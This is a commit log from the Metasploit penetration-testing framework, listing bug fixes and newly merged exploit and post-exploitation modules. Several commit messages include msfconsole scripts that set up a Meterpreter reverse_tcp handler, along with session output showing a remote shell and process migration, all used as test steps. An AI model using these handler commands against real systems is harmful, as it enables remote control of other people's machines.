Update bypass UAC to work on 8.1 and 2012
...
This commit contains a bunch of work that comes from Meatballs1 and
Lesage, and updates the bypassuac_inject module so that it works on
Windows 8.x and Windows 2012. Almost zero of the code in this module
can be attributed to me. Most of it comes from Ben's work.
I did do some code tidying, adjustment of style, etc. but other than
that it's all down to other people.
2015-01-08 15:39:19 +10:00
William Vu
0604b2ecc7
Land #4542 , invalid splat URL fix
2015-01-07 22:54:22 -06:00
EricGershman
0496bb16bc
Minor spelling fix
2015-01-07 23:43:59 -05:00
jvazquez-r7
7dd7e62726
Add first mixin draft
2015-01-07 20:42:44 -06:00
jvazquez-r7
d59805568e
Do first module refactoring try
2015-01-07 19:06:09 -06:00
Samuel Huckins
f0261a418c
Lands #4535 , report_auth_info shoring up
2015-01-07 16:32:14 -06:00
David Maloney
001b6d913e
allows loginscanners to work without db
...
created stub methods around the credential
creation methods modules would use from
Metasploit::Credential, they try to call the real ones
but rescue a NoMethodError that arises if framework is setup
without the db. it just prints a message to the console
telling the user the cred data will not be saved
MSP-10969
2015-01-07 16:09:04 -06:00
Meatballs
e6f53ebcbc
Remove duplicate rhosts
2015-01-07 22:04:01 +00:00
rastating
7b92c6c2df
Add WP Symposium Shell Upload module
2015-01-07 22:02:39 +00:00
Meatballs
dccd21a559
Resolve #3870 , reinstance creds -R
2015-01-07 22:01:45 +00:00
Brent Cook
32ddd5ccb4
delete unused library from meterpreter dir
...
common.lib is only used by the build process, not MSF
2015-01-07 16:00:37 -06:00
David Maloney
f2c22b6dc7
corrected schema
2015-01-07 15:38:39 -06:00
David Maloney
129e579e69
update gemspec for newest mdm
...
this pulls latest mdm version into framework
which adds a uniqness validation to Service
MSP-11643
2015-01-07 15:35:55 -06:00
James Lee
da2e088118
Land #4536 , Ruby 2.2 compat fixes
...
Note that ActiveRecord 3.2.21 still has a similar warning that will
probably cause bugs, preventing full support for 2.2 until that's fixed.
2015-01-07 15:33:23 -06:00
David Maloney
a491f22a09
migration update
2015-01-07 15:32:31 -06:00
Meatballs
e3e9a64064
Land #4543 , Update john.conf with korelogic rules
2015-01-07 21:30:44 +00:00
jvazquez-r7
731c2f99d1
Handle better java references
2015-01-07 15:19:28 -06:00
Meatballs
bdbb26ba31
Land #4540 , resolves #4532 , honour DB_ALL_* options
2015-01-07 21:12:23 +00:00
David Maloney
fcf0a3f096
pull latest credential
2015-01-07 15:09:01 -06:00
Meatballs
361057ce6e
Land #4544 , resolves #4511 - fix rails log location
2015-01-07 20:58:26 +00:00
Meatballs
0b0ac1455a
Merge remote-tracking branch 'upstream/master' into extapi_service_post
...
Conflicts:
test/modules/post/test/services.rb
2015-01-07 20:53:34 +00:00
Meatballs
db367895a8
Land #4491 , Fix test modules
2015-01-07 20:48:49 +00:00
Brent Cook
0c94536b87
make post service manipulation tests work
...
Fix a funny default service name, adjust test to be case-agnostic.
winmgmt on Windows XP and Windows 8 have different capitalization for this
service. I'm not sure why it's a module parameter though - the test will still
fail if its anything other than winmgmt.
The following RC script has 7 successful outputs when run against a reverse_tcp shell.
Run a reverse_tcp stager and the following RC script to run the test
```
loadpath test/modules
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.43.1
run -j
sleep 5
use post/test/services
set SESSION 1
run
```
Note: this test still doesn't run very reliably on windows 8 unless you're
using the code from rapid7/meterpreter#107 and #4411 , though it runs ok on
Windows XP.
2015-01-07 13:31:16 -06:00
Brent Cook
c96c8a03cf
CmdStagerVBS is now in Rex::Exploitation
...
```
$ ./msfconsole -qx "loadpath test/modules/; exit"
Loaded 32 modules:
12 auxiliarys
12 exploits
8 posts
```
2015-01-07 13:31:15 -06:00
David Maloney
82d129bfc4
Merge branch 'master' into feature/jtr-korelogic-rules-update
2015-01-07 12:42:23 -06:00
David Maloney
9bcb3b95cd
Merge branch 'master' of github.com:rapid7/metasploit-framework
2015-01-07 12:41:43 -06:00
David Maloney
df70678762
tell suer KoreLogic rules have been applied
...
make sure to rpovide console feedback that we are
actually applying the KoreLogic rules to wordlist mode
2015-01-07 12:36:07 -06:00
rastating
294cd80a08
Update documentation for wordpress_login
2015-01-07 18:32:52 +00:00
David Maloney
4ad7021336
give user option to turn on KoreLogic rules
...
the cracker modules in framework now have a datastore option
to allow the user to select the KoreLogicRules
2015-01-07 12:32:26 -06:00
David Maloney
5480cb81f5
add updated KoreLogic rules to john.conf
...
updated our shipped john.conf to include a
more up to date version of the KoreLogic JtR rules.
They add overhead to the cracking time but are
probably some of the best/most effective JtR
rules out there.
2015-01-07 12:25:04 -06:00
sinn3r
ef97d15158
Fix msftidy and make sure all print_*s in check() are vprint_*s
2015-01-07 12:12:25 -06:00
David Maloney
5d68d48ca5
Land #4385 , fixes bruteforce_speed validator
...
bruteforce_speed validator now accepts nil
2015-01-07 12:09:25 -06:00
jvazquez-r7
ba13e9d64c
Add Stream spec
2015-01-07 12:05:44 -06:00
David Maloney
702511dbc5
respect DB_ALL_USERS & DB_ALL_PASS
...
fix last few things in authbrute
and make the CredentialCollections understand the
additional seperate components
MSP-11986
2015-01-07 11:41:41 -06:00
David Maloney
7ff2ba0725
first pass on fixing DB_ALL authbrute stuff
...
DB_ALL_CREDS worked but DB_ALL_USER and DB_ALL_PASS
did not. working on fixing that.
This commit also does some nice DRY work in the auth_brute mixin
MSP-11986
2015-01-07 11:30:39 -06:00
rastating
a5f48b23df
Add use of Msf::ThreadManager
2015-01-07 17:27:06 +00:00
Meatballs
aef8c702d7
Filter creds by type
2015-01-07 17:19:31 +00:00
James Lee
3e80efb5a8
Land #4521 , Pandora FMS upload
2015-01-07 11:13:57 -06:00
James Lee
1ccef7dc3c
Shorter timeout so we get shell sooner
...
The request to execute our payload will never return, so waiting for the
default timeout (20 seconds) is pointless.
2015-01-07 11:11:33 -06:00
rastating
e90e98547b
Add configurable timeout to WordPress login
2015-01-07 17:06:31 +00:00
sinn3r
4c240e8959
Fix #4098 - False negative check for script_mvel_rce
...
Fix #4098 , thanks @arnaudsoullie
2015-01-07 10:40:58 -06:00
sinn3r
c60b6969bc
Oh so that's it
2015-01-07 10:39:46 -06:00
James Lee
efe83a4f31
Whitespace
2015-01-07 10:19:17 -06:00
Trevor Rosen
3ba3465afb
Ensure logging in ~/.msf4/log
...
Fix #4511
2015-01-07 09:37:07 -06:00
m7x
89699d1549
Typo workspace_id
2015-01-07 10:58:59 +00:00
Christian Mehlmauer
09bd0465cf
fix regex
2015-01-07 11:54:55 +01:00
rcnunez
b3def856fd
Applied changes recommended by jlee-r7
...
used Rex::ConnectionError
refactor begin/rescue blocks
removed ::URI::InvalidURIError
changed @peer with peer
used Exploit::CheckCode:Appears instead of Exploit::CheckCode::Vulnerable
2015-01-07 18:38:19 +08:00
Christian Mehlmauer
eaad4e0bea
fix check method
2015-01-07 11:01:08 +01:00
dmooray
8c23e8c2e8
ruby 2.2 compatibility
...
Fix circular argument reference warnings for ruby 2.2
2015-01-07 12:00:50 +02:00
dmooray
478505c17a
ruby 2.2 compatibility
...
https://bugs.ruby-lang.org/issues/10314
2015-01-07 11:41:34 +02:00
Christian Mehlmauer
862af074e9
fix bug
2015-01-07 09:10:50 +01:00
Christian Mehlmauer
d007b72ab3
favor include? over =~
2015-01-07 07:33:16 +01:00
Christian Mehlmauer
4277c20a83
use include?
2015-01-07 06:51:28 +01:00
Christian Mehlmauer
39e33739ea
support for anonymous login
2015-01-07 00:08:04 +01:00
Christian Mehlmauer
bf0bdd00df
added some links, use the res variable
2015-01-06 23:25:11 +01:00
jvazquez-r7
98ec08ae0d
Add support for Ping and PingAck
2015-01-06 15:18:55 -06:00
jvazquez-r7
1e3b24f01b
Add support for DbgAck
2015-01-06 15:00:17 -06:00
William Vu
fee49b0b85
Land #4531 , Msf::Exploit::PDF method name fix
2015-01-06 14:26:58 -06:00
David Maloney
a626c45813
update gemspec for newest credential
...
we need the latest metasploit-credential to migrate
over any old style creds still lingering around in the
database.
MSP-11919
2015-01-06 14:25:55 -06:00
jvazquez-r7
6d1d300e72
Add support for ReturnData
2015-01-06 12:52:00 -06:00
sinn3r
609c490b3c
I missed nobfu
2015-01-06 12:49:39 -06:00
sinn3r
2ed05869b8
Make Msf::Exploit::PDF follow the Ruby method naming convention
...
Just changing method names.
It will actually also fix #4520
2015-01-06 12:42:06 -06:00
jvazquez-r7
825e08f5ac
Add support for Call messages
2015-01-06 12:36:06 -06:00
jvazquez-r7
f3ff42dbfb
Add support for Continuation
2015-01-06 11:34:47 -06:00
Christian Mehlmauer
f9f2bc07ac
some improvements to the mantis module
2015-01-06 11:33:45 +01:00
William Vu
0bece137c1
Land #4494 , Object.class.to_s fix
2015-01-06 02:27:35 -06:00
William Vu
f2710f6ba7
Land #4443 , BulletProof FTP client exploit
2015-01-06 02:10:42 -06:00
William Vu
482cfb8d59
Clean up some stuff
2015-01-06 02:10:25 -06:00
William Vu
46aa165ca5
Land #4481 , enum_users_history improvements
2015-01-06 01:52:38 -06:00
William Vu
745bfb2f35
Clean things up
2015-01-06 01:48:18 -06:00
jvazquez-r7
757f95a24d
Add support for ProtocolAck
2015-01-06 00:14:14 -06:00
jvazquez-r7
26da73ffb8
Change class name
2015-01-05 19:23:07 -06:00
jvazquez-r7
d5dfd75e71
Add initial model and support to OutputStream
2015-01-05 18:52:13 -06:00
Meatballs
42b6c5425f
Update tests
2015-01-05 22:25:14 +00:00
Meatballs
dd5c638ab0
Merge remote-tracking branch 'upstream/master' into extapi_service_post
2015-01-05 22:18:44 +00:00
David Maloney
fc91244252
insert deprecation error message
...
report_auth_info will now issue an error message
stating that the method is deprecated along with the module name
that called it
MSP-11919
2015-01-05 14:02:16 -06:00
David Maloney
db8f260557
add some YARD docs to report_auth_info
...
add yard docs for the modified report_auth_info
MSP-11919
2015-01-05 13:58:25 -06:00
David Maloney
71d600e829
make report_auth_info create new creds and logins
...
report_auth_info coerces old data into the new credential
types as best as it is able
MSP-11919
2015-01-05 13:41:30 -06:00
Brent Cook
a69609fe04
Land #4523 : wchen-r7's #inspect->to_s conversions
...
Keep custom object display behavior the same between Ruby 1.9 and 2.1.
2015-01-05 13:26:08 -06:00
Brent Cook
e73ff61f42
Land #4512 , OJ's removal of superfluous path expansion
2015-01-05 13:14:59 -06:00
sinn3r
44dfa746eb
Resolve #4513 - Change #inspect to #to_s
...
Resolve #4513
2015-01-05 11:50:51 -06:00
sinn3r
4257fef91b
Land #4101 - Konica MFP FTP and SMB credential gathering module
2015-01-05 10:31:28 -06:00
agix
f81269428d
Change StageEncoder behaviour
...
Following https://github.com/rapid7/metasploit-framework/pull/3770 , some
change have been done as multiple encoders is managed by encoded_payload
to be used by Encoder and StageEncoder in the same time.
2015-01-05 16:49:50 +01:00
agix
24bd814376
Missing iterations when encoder not setted
2015-01-05 16:46:29 +01:00
agix
2eace2b78a
Forget to reset raw with encoded payload
2015-01-05 16:46:29 +01:00
agix
ba5161753a
Allow multiple encoding syntax in Encoder variable
...
From msfconsole using set Encoder or set StageEncoder
it is possible to set multiple encoders with this syntax :
<encoder>:<iteration>, <encoder2>:<iteration
This should not break compatibility
2015-01-05 16:46:29 +01:00
rcnunez
547b7f2752
Syntax and File Upload BugFix
...
Fix unexpected ) in line 118
Fix file cleanup missing _
Fix more robust version check script
Fix file upload
2015-01-05 19:23:22 +08:00
William Vu
1f4d62aff3
Land #4514 , invalid splat URL fix
2015-01-05 03:44:40 -06:00
jvazquez-r7
e7affb9048
Land #4493 , @pedrib's module for ManageEngine Central Desktop create admin
2015-01-04 23:46:31 -06:00
jvazquez-r7
c5e72fb324
Change module filename
2015-01-04 23:14:12 -06:00
jvazquez-r7
4798f2328d
Change module filename
2015-01-04 23:13:17 -06:00
jvazquez-r7
6bb3171328
Do minor cleanup
2015-01-04 23:12:42 -06:00
jvazquez-r7
711b97ecc5
Beautify metadata
2015-01-04 23:08:46 -06:00
rastating
92015ac124
Replace custom login with wordpress_login mixin
2015-01-04 23:07:07 +00:00
jvazquez-r7
4653e48dba
Land #4515 , @bcook-r7's linux meterpreter binaries update
2015-01-04 16:59:24 -06:00
rastating
39412c4a48
Add WordPress long password DoS module
2015-01-04 18:50:23 +00:00
Pedro Ribeiro
c9b76a806a
Create manageengine_auth_upload.rb
2015-01-04 17:05:53 +00:00
Brent Cook
7ae56865f1
Update linux meterpreter binaries for rapid7/meterpreter#111
...
This rebuilds the binaries on Ubuntu 10.04 i386 for metepreter PR #111 ,
improving the reliability and fixing some bugs in linux process migration.
Tested against Ubuntu 10.04 i386 and Ubuntu 14.04 x86_64:
```
meterpreter > ps
...
55994 48270 server 0 bcook ../metasploit-framework/server
56009 44199 bash 0 bcook -bash
56094 56009 dummy 0 bcook ./dummy
meterpreter > migrate 56094
[*] Migrating to 56094
[*] Migration completed successfully.
meterpreter > sysinfo
Computer : mint
OS : Linux mint 3.13.0-37-generic #64-Ubuntu SMP Mon Sep 22 21:28:38 UTC 2014 (x86_64)
Architecture : x86_64
Meterpreter : x86/linux
meterpreter > ps
...
55994 48270 [server] <defunct> 0 bcook
56009 44199 bash 0 bcook -bash
56094 56009 dummy 0 bcook ./dummy
meterpreter >
```
Verified presence of call stub when debugging a session:
```
(gdb) x/32b 0x61cc28
0x61cc28: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x61cc30: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x61cc38: 0x90 0x90 0x68 0x04 0x00 0x00 0x00 0x68
0x61cc40: 0xff 0xff 0xff 0xff 0xb8 0x5a 0x5a 0x5a
```
2015-01-04 10:47:44 -06:00
Pedro Ribeiro
32d4bf03c3
Add OSVDB id and full disclosure URL
2015-01-04 12:36:51 +00:00
Tim
c959d42a29
minor tweak
2015-01-03 10:15:52 +00:00
Joshua J. Drake
7295cd34aa
One more http// fix
2015-01-03 02:32:08 -06:00
William Vu
327f2839bb
Land #4508 , default Ruby 2.1.5 for everyone
2015-01-02 17:15:53 -06:00
OJ
17ff546b0f
Remove unnecessary calls to expand path
...
When using the Meterpreter Binaries gem to locate the path to the
meterpreter DLLs, it's not necessary to use File.expand_path on
the result because the gem's code does this already.
This commit simple removes those unnecessary calls.
2015-01-03 08:30:26 +10:00
Tod Beardsley
ff43fbd8de
Land #4509 , private/protected workaround for 2.1.5
...
Fixes #4507 . See also #4506 (but does not fix this yet).
2015-01-02 15:53:58 -06:00
sinn3r
d45cdd61aa
Resolve #4507 - respond_to? + send = evil
...
Since Ruby 2.1, the respond_to? method is more strict because it does
not check protected methods. So when you use send(), clearly you're
ignoring this type of access control. The patch is meant to preserve
this behavior to avoid potential breakage.
Resolve #4507
2015-01-02 13:29:17 -06:00
Tod Beardsley
a6e23e5e4d
Default Ruby 2.1.5 for everyone
...
See #4506
2015-01-02 11:33:36 -06:00
sinn3r
3c755a6dfa
Template
2015-01-02 11:31:28 -06:00
Sven Vetsch
b121e2c3fd
adds a get and getg method besides the already existing set/setg and unset/unsetg
2015-01-02 12:40:24 +01:00
root
c348663204
Add McAfee Hashdump
2015-01-02 10:22:11 +00:00
OJ
5596cee803
Land #4502 - Update linux meterpreter bins
2015-01-02 12:41:35 +10:00
jvazquez-r7
69bda63ef6
Update linux meterpreter binaries
2015-01-01 20:05:36 -06:00
William Vu
b64bfd87ca
Land #4501 , Wordpress readme regex update
2015-01-01 18:03:15 -06:00
Christian Mehlmauer
056046f38b
update wordpress readme regex
2015-01-01 23:13:20 +01:00
Tod Beardsley
c1718fa490
Land #4440 , git client exploit from @jhart-r7
...
Also fixes #4435 and makes progress against #4445 .
2015-01-01 13:18:43 -06:00
Tod Beardsley
d7564f47cc
Move Mercurial option to advanced, update ref url
...
See #4440
2015-01-01 13:08:36 -06:00
Tod Beardsley
914c724abe
Rename module
...
See rapid7#4440
2015-01-01 13:03:17 -06:00
William Vu
2d6571c735
Land #4497 , end-of-year .mailmap refresh
2015-01-01 09:10:59 -06:00
William Vu
c777bde42e
Land #4495 , minor grammar fixes on modules
2015-01-01 09:10:16 -06:00
Tod Beardsley
3ebf5c6d5e
Land #4496 , increment the year
2014-12-31 18:01:51 -06:00
Tod Beardsley
45a096208a
Land #4499 , containerized builds
2014-12-31 15:53:36 -06:00
Luke Imhoff
95a9d5010c
Use metasploit-model with metasploit-cache extracted
...
MSP-11141
Test that metasploit-model with metasploit-cache extracted and the
compatible metasploit_data_models and metasploit-credential are
compatible with metasploit-framework without changes.
2014-12-31 15:20:58 -06:00
Tod Beardsley
a61ce66571
Okay last dupe I swear
2014-12-31 14:29:59 -06:00
Tod Beardsley
893322c788
One more dupe, oops!
2014-12-31 14:27:43 -06:00
Tod Beardsley
c790d61994
Miss a couple .mailmap updates
2014-12-31 14:22:01 -06:00
Tod Beardsley
dc9847bebe
End of year .mailmap refresh
2014-12-31 14:15:13 -06:00
Luke Imhoff
bb3e36fded
Cache bundle
...
MSP-11931
2014-12-31 14:00:11 -06:00
Luke Imhoff
b179daeb56
Enable containerized builds
...
MSP-11931
Disable the need for sudo to allow use of the faster docker
infrastructure.
2014-12-31 13:26:35 -06:00
Luke Imhoff
91e03e1bbb
Remove need for sudo
...
MSP-11931
2014-12-31 13:25:48 -06:00
Jon Hart
65977c9762
Add some more useful URLs
2014-12-31 10:54:04 -08:00
HD Moore
15468aa6c0
Happy new year!
2014-12-31 12:12:45 -06:00
Tod Beardsley
264d3f9faa
Minor grammar fixes on modules
2014-12-31 11:45:14 -06:00
Spencer McIntyre
6d966dbbcf
Land #4203 , @jvazquez-r7's cleanup for java_rmi_server
2014-12-31 11:25:19 -05:00
Brent Cook
92bdf42496
Land #3594 , jvazquez-r7's linux meterpreter migration support
2014-12-31 09:20:44 -06:00
Christian Mehlmauer
4f11dc009a
fixes #4490 , class.to_s should not be used for checks
2014-12-31 10:46:24 +01:00
Pedro Ribeiro
e81e68bdaf
Create me_dc9_admin.rb
2014-12-31 02:02:52 +00:00
Pedro Ribeiro
8f466cfbac
Merge pull request #12 from rapid7/master
...
a
2014-12-31 02:00:01 +00:00
jvazquez-r7
dccf189600
Update binaries
2014-12-30 18:39:29 -06:00
jvazquez-r7
722f86f361
Try to guess TMPDIR folder
2014-12-30 18:39:29 -06:00
jvazquez-r7
7596d211e9
Use length for comparision
2014-12-30 18:39:18 -06:00
jvazquez-r7
e903044fd5
Allow to provide writable dir
2014-12-30 18:36:30 -06:00
jvazquez-r7
f17a7e8a61
Better handling of the unix domain socket argument
2014-12-30 18:36:28 -06:00
jvazquez-r7
4df4e8b9d6
Add support for linux meterpreter migration
2014-12-30 18:34:24 -06:00
jvazquez-r7
56df2d0062
Add support for linux meterpreter migrate types
2014-12-30 18:30:15 -06:00
sinn3r
553030b22d
Land #4473 - Log backtraces by default
2014-12-30 18:13:33 -06:00
Brendan Coles
cc75c33d60
Use user home directories
...
Replace hard-coded '/home/' and '/root/' with `~username` shorthand.
2014-12-31 09:12:35 +11:00
Brendan Coles
013e45e83d
Add support for MongoDB history
2014-12-31 08:38:58 +11:00
Brendan Coles
d2e6f90569
Use a list of users
2014-12-31 08:12:16 +11:00
Tod Beardsley
d248cad462
Fixes #4472 , a broken meterpreter script
2014-12-30 14:32:59 -06:00
Tod Beardsley
135faeee29
Land #4095 , specs for Rex::OLE
2014-12-30 14:25:09 -06:00
Christian Mehlmauer
6444d8ba64
use kind_of? for checking exceptions
2014-12-30 21:16:57 +01:00
William Vu
ce0bbca6ed
Land #4487 , no spinnerz on Windows :(
2014-12-30 14:06:05 -06:00
Tod Beardsley
a8e907d68b
Land #4479 , nil comparisons and missing DLLs
...
Also fixes #4474 .
2014-12-30 13:55:54 -06:00
sinn3r
48919eadb6
Land #4444 - i-FTP BoF
2014-12-30 12:38:28 -06:00
Brent Cook
bdac5db695
remove usage of ==/!= nil
...
Adjust all module-loading libraries to have consistent nil?/!nil? checking and
'if' style.
2014-12-30 10:59:49 -06:00
Brent Cook
125cc27f7a
updated expected exception from a bad module load
2014-12-30 10:57:37 -06:00
Tod Beardsley
6ded5a7eb4
Avoid spinner on Windows
...
Fixes #4147 , probably.
2014-12-30 10:17:56 -06:00
William Vu
4fd4d51d78
Land #4485 , Drupageddon greedy regex fix
2014-12-30 10:16:57 -06:00
sinn3r
5c2f972ec1
Land #4483 - Alias Rex::Ui::Text::Output::Tee print_raw to write
2014-12-30 02:23:00 -06:00
Christian Mehlmauer
96fe693c54
update drupal regex
2014-12-30 09:12:39 +01:00
Jon Hart
d727ac5367
Alias Rex::Ui::Text::Output::Tee print_raw to write, fixes #4469 and #4363
2014-12-29 16:47:04 -08:00
jvazquez-r7
e55b612206
Land #4482 , @wchen-r7's fix for response_timeout on sessions command
2014-12-29 17:34:29 -06:00
sinn3r
9af3fd01d4
Fix response_timeout
...
response_timeout is a method specific to a meterpreter session, not
shell. So if the user is using a shell type payload, he will never
see a backtrace before interacting with the sessions.
2014-12-29 17:03:50 -06:00
sinn3r
555713b6ae
Land #4456 - MS14-068, Kerberos Checksum (plus krb protocol support)
2014-12-29 16:09:28 -06:00
sinn3r
f2130311fa
Add the MSF blog reference
2014-12-29 16:08:35 -06:00
Brendan Coles
897e993971
Update description
2014-12-30 08:05:53 +11:00
Brendan Coles
8719a36d84
DRY status messages
2014-12-30 08:03:40 +11:00
Brendan Coles
0de80e9c76
Minor changes to style
2014-12-30 07:58:54 +11:00
Brendan Coles
0085bcf075
Use blank?' instead of nil?'
2014-12-30 07:38:34 +11:00
Brendan Coles
a50ac4050c
Add support for PostgreSQL history
2014-12-30 07:33:22 +11:00
Brendan Coles
4ebe0fc0a8
Add support for different shells
2014-12-30 07:26:12 +11:00
Brent Cook
f9b141c1e2
Land #4442 , wchen-r7's configurable session response timeout option
...
fixes #4431
2014-12-29 13:02:47 -06:00
Brent Cook
5d70b837ed
handle nil results from MeterpreterBinaries.path
...
When a meterpreter binary cannot be found, give the user some hint about what
went wrong.
```
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.43.1
lhost => 192.168.43.1
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.43.1:4444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.43.252
[*] Meterpreter session 1 opened (192.168.43.1:4444 -> 192.168.43.252:49297) at 2014-12-29 12:32:37 -0600
meterpreter > use mack
Loading extension mack...
[-] Failed to load extension: No module of the name ext_server_mack.x86.dll found
```
This is also useful for not scaring away would-be developers who replaced only
half (the wrong half) of their DLLs from a fresh meterpreter build and
everything exploded. Not that thats ever happened to me :)
2014-12-29 12:34:02 -06:00
Tod Beardsley
72eb8e6503
Land #4475 , inverted timeout fix
2014-12-29 11:37:28 -06:00
Brent Cook
e286aeb837
patch metsvc to use MeterpreterBinaries.path
...
fixes #4472
2014-12-29 11:21:21 -06:00
jvazquez-r7
d2af956b16
Do minor cleanups
2014-12-29 10:39:51 -06:00
Brent Cook
bbb41c39b8
fix backward meterpreter packet timeout logic
...
The current logic times out every packet almost immediately, making it possible
for almost any non-trivial meterpreter session to receive duplicate packets.
This causes problems especially with any interactions that involve passing
resource handles or pointers back and forth between MSF and meterpreter, since
meterpreter can be told to operate on freed pointers, double-closes, etc.
This probably fixes tons of heisenbugs, including #3798 .
To reproduce this, I enabled all debug messages in meterpreter to slow it
down, then ran this RC script with a reverse TCP meterpreter, after linking in
the test modules:
(cd modules/post
ln -s ../../test/modules/post/test)
die.rc:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.43.1
exploit -j
sleep 5
use post/test/services
set SESSION 1
run
2014-12-29 08:15:51 -06:00
Tod Beardsley
1dd9d60e34
Land #4461 , Android cookie database theft
...
`
Thanks @jvennix-r7!
2014-12-29 08:15:21 -06:00
Tod Beardsley
d10222365b
Add Rafay's blog as a reference
2014-12-29 08:12:19 -06:00
jvennix-r7
c9f43e744d
Merge pull request #16 from todb-r7/fixup-4461
...
Fixup #4461 , Android sqllite theft bug
2014-12-28 23:08:10 -06:00
Christian Mehlmauer
3a73b40a1e
more error handling
2014-12-29 00:39:00 +01:00
Christian Mehlmauer
7b52bcb657
log errors into framework.log
2014-12-29 00:20:26 +01:00
Tod Beardsley
1236684954
Use get_uri instead, note lack of Rex::Text method
...
See rapid7#4461
2014-12-28 15:06:34 -06:00
Tod Beardsley
788e315fd4
Fix msftidy warnings
2014-12-28 14:53:29 -06:00
William Vu
01daadcc49
Land #4470 , bind_hidden_ipknock_tcp stager
2014-12-27 17:11:25 -06:00
Borja Merino
9791acd0bf
Add stager ipknock shellcode (PR 2)
2014-12-27 22:03:45 +01:00
jvazquez-r7
9f98fd4d87
Info leak webapp ROOT so we can cleanup
2014-12-27 08:47:51 -06:00
jvazquez-r7
5afd2d7f4b
Add module for ZDI-14-410
2014-12-26 20:40:28 -06:00
jvazquez-r7
04772c8946
Ensure stop_service closes Rex::Proto::Http::Server
2014-12-26 13:50:03 -06:00
jvazquez-r7
655cfdd416
Land #4321 , @wchen-r7's fixes #4246 ms01_026_dbldecode undef method
2014-12-26 12:48:29 -06:00
Jon Hart
51049152b6
Use Rex::Text.rand_mail_address for more realistic fake commit
2014-12-26 10:39:52 -08:00
jvazquez-r7
c1b0385a4b
Land #4460 , @Meatballs1's ssl cert validation bypass on powershell web delivery
2014-12-26 12:07:45 -06:00
jvazquez-r7
2bed52dcd5
Land #4459 , @bcoles's ProjectSend Arbitrary File Upload module
2014-12-26 11:28:42 -06:00
jvazquez-r7
b5b0be9001
Do minor cleanup
2014-12-26 11:24:02 -06:00
jvazquez-r7
85ab11cf52
Use print_warning consistently
2014-12-26 09:54:38 -06:00
jvazquez-r7
f31a2e070e
Use print_warning to print the Kerberos error
2014-12-26 09:22:09 -06:00
jvazquez-r7
2992ae0630
Land Code to handle kerberos error codes
2014-12-24 18:06:14 -06:00
jvazquez-r7
d148848d31
Support Kerberos error codes
2014-12-24 18:05:48 -06:00
jvazquez-r7
bde92b26e9
Land #3695 , @jakoblell linux desktop privilege escalation
...
* through screensavers / policykit user component hijacking
2014-12-24 15:52:40 -06:00
jvazquez-r7
121c0406e9
Beautify restart_command creation
2014-12-24 15:52:15 -06:00
jvazquez-r7
43ec8871bc
Do minor c code cleanup
2014-12-24 15:45:38 -06:00
jvazquez-r7
92113a61ce
Check payload
2014-12-24 15:43:49 -06:00
jvazquez-r7
36ac0e6279
Clean get_restart_commands
2014-12-24 14:55:18 -06:00
jvazquez-r7
92b3505119
Clean exploit method
2014-12-24 14:49:19 -06:00
jvazquez-r7
9c4d892f5e
Use single quotes when possible
2014-12-24 14:37:39 -06:00
jvazquez-r7
bbbb917728
Do style cleaning on metadata
2014-12-24 14:35:35 -06:00
jvazquez-r7
af24e03879
Update from upstream
2014-12-24 14:25:25 -06:00
Gabor Seljan
0b85a81b01
Use REXML to generate exploit file
2014-12-24 19:23:28 +01:00
William Vu
6613745d56
Land #4453 , OptRegexp default attr fix
2014-12-24 10:50:22 -06:00
Brent Cook
725a17c70b
override default attr for OptRegexp
...
Rather than literally returning the default Regex object, override the accessor
to return the string representation. This allows the RPC backend to properly
serialize the options hash values, since msgpack does not know how to serialize
a Regexp object. Fixes #3798 .
To verify the fix, run the steps for issue #3798 and ensure that the module
options are returned instead of a backtrace. Also, ensure that the module
continues to work as expected:
```
$ ./msfconsole -q
msf > use auxiliary/scanner/http/scraper
msf auxiliary(scraper) > info
Name: HTTP Page Scraper
Module: auxiliary/scanner/http/scraper
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
et <et@metasploit.com >
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PATH / yes The test path to the page to analize
PATTERN (?i-mx:<title>(.*)<\/title>) yes The regex to use (default regex is a sample to grab page title)
Proxies no Use a proxy chain
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port
THREADS 1 yes The number of concurrent threads
VHOST no HTTP server virtual host
override default attr for OptRegexp
Description:
Scrap defined data from a specific web page based on a regular
expresion
msf auxiliary(scraper) > set RHOSTS lwn.net
RHOSTS => lwn.net
msf auxiliary(scraper) > set RHOSTS 72.51.34.34
RHOSTS => 72.51.34.34
msf auxiliary(scraper) > set VHOST lwn.net
VHOST => lwn.net
msf auxiliary(scraper) > run
[*] [72.51.34.34] / [Welcome to LWN.net [LWN.net]]
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
2014-12-24 09:57:14 -06:00
William Vu
76627ec921
Land #4463 , smart_hashdump user regex update
2014-12-23 23:37:37 -06:00
Mark Judice
30228bcfe7
Added underscore to user regex in smart_hashdump.rb to support usernames that contain underscores. Issue #4349 .
2014-12-23 22:36:11 -06:00
Jon Hart
a692656ab7
Update comments to reflect reality, minor cleanup
2014-12-23 19:09:45 -08:00
jvazquez-r7
ebb05a64ea
Land #4357 , @Meatballs1 Kerberos Support for current_user_psexec
2014-12-23 20:38:31 -06:00
jvazquez-r7
05a9ec05e8
raise NotImplementedError
2014-12-23 19:59:37 -06:00
jvazquez-r7
4493b3285c
Raise NoMethodError for methods designed to be overriden
2014-12-23 19:51:41 -06:00
jvazquez-r7
89d0a0de8d
Delete unnecessary connect
2014-12-23 19:35:59 -06:00
jvazquez-r7
fee033d6df
Use Rex::Text.md5_raw
2014-12-23 19:30:23 -06:00
jvazquez-r7
265e0a7744
Upper case domain
2014-12-23 19:16:50 -06:00
jvazquez-r7
ed2d0cd07b
Use USER_SID instead of DOMAIN_SID and USER_RID
2014-12-23 19:11:05 -06:00
Joe Vennix
8d73794cc8
Add hint for exploit on old devices.
2014-12-23 12:29:08 -06:00
Jon Hart
59f75709ea
Print out malicious URLs that will be used by default
2014-12-23 10:10:31 -08:00
Jon Hart
905f483915
Remove unused and commented URIPATH
2014-12-23 09:40:27 -08:00
Jon Hart
8e57688f04
